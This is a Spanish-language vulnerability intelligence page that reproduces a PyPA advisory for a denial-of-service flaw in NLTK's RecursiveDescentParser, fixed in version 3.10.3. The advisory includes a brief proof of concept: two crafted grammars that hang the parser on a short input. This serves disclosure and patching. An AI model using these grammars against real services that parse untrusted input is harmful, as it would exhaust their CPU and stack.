llamaCVEVulnerability Intelligence
/
Advisory · PyPA · PyPI · nltk

PYSEC-2026-3869

NLTK: Uncontrolled resource consumption in RecursiveDescentParser via ambiguous or left-recursive grammars

Parche disponible
Descargar PNG JSON
CVSS
—
N/D
Fuente: —
ExplotaciónSin evidenciaNo figura en CISA KEV
Exploits públicos0Ninguno conocido
Parche1 versión3.10.3
Exposición71 dDesde la divulgación, 10 sept 2026, 4:44 a. m.
Detección67 dDesde la divulgación hasta su ingreso al índice
Timeline

Ciclo de vida de la vulnerabilidad

Hoy
Divulgación
Publicada +1
Explotación
Remediación
Monitoreo
Detectada
10 sept 26
17 nov 26
20 nov 26
10 sept 26
28 sept 26
16 oct 26
2 nov 26
20 nov 26
FechaFaseEventoDetalle
Divulgación Publicada PYSEC-2026-3869 divulgada
Divulgación Modificada Última actualización del registro
Monitoreo Detectada Ingresó al índice
Resumen
Descripción del advisory
Texto original · PyPA · en inglés

`nltk.parse.RecursiveDescentParser` (and `SteppingRecursiveDescentParser`) enumerate parses top-down with no bound on the number of recursive steps. A small, crafted context-free grammar makes a short input consume unbounded CPU (and/or exhaust the Python recursion stack), pinning a process indefinitely — a denial of service.

Proof of concept

Both of the following hang on a 24-token input (killed after 8s; growth is super-linear in input length), on NLTK develop:

from nltk import CFG
from nltk.parse import RecursiveDescentParser

# (a) left recursion -> unbounded recursion
g = CFG.fromstring("S -> S S | 'a'")
list(RecursiveDescentParser(g).parse(["a"] * 24))   # hangs

# (b) ambiguous grammar -> exponential number of parses
g = CFG.fromstring("S -> 'a' S | 'a' S S | 'a'")
list(RecursiveDescentParser(g).parse(["a"] * 24))   # hangs

Impact

An application that runs `RecursiveDescentParser` on a grammar (or an input) drawn from an untrusted source can be driven into an unbounded CPU / stack-exhaustion loop by a tiny payload. No confidentiality or integrity impact; single-process availability only.

Sibling

The RegexpTokenizer ReDoS reported alongside this (CVE-2026-12875) is a different class (caller-supplied regex) and is addressed under GHSA-w3v8-gmh9-3wv7.

Incluye detalles técnicos publicados por el investigador. Úselos solo para validar y corregir sus propios sistemas.

Versiones

Rangos afectados

Afectada Corregida
nltk< 3.10.3
3.10.3
Remediación

Estado del parche por paquete

Paquete / productoEstadoCorregida enDesde divulgaciónÚltima versión
PyPInltk
Corregida 3.10.3 — —
Versiones corregidas3.10.3
Explotación

Arsenal público

Sin exploits, módulos ni PoC públicos conocidos a la fecha de verificación.

Referencias
Advisoryhttps://github.com/advisories/GHSA-ff5c-cp5c-9wjf
Advisoryhttps://nvd.nist.gov/vuln/detail/CVE-2026-12876
Otrahttps://github.com/nltk/nltk/security/advisories/GHSA-ff5c-cp5c-9wjf
Otrahttps://github.com/nltk/nltk/pull/3649
Otrahttps://github.com/nltk/nltk/commit/43aaca1b9024138421c97f970bf13ee19ac8129d
Otrahttps://github.com/nltk/nltk
Otrahttps://github.com/nltk/nltk/releases/tag/v3.10.3
Otrahttps://pypi.org/project/nltk

Las referencias externas se muestran para copiar: cve.llama.ec no lo redirige a otros sitios.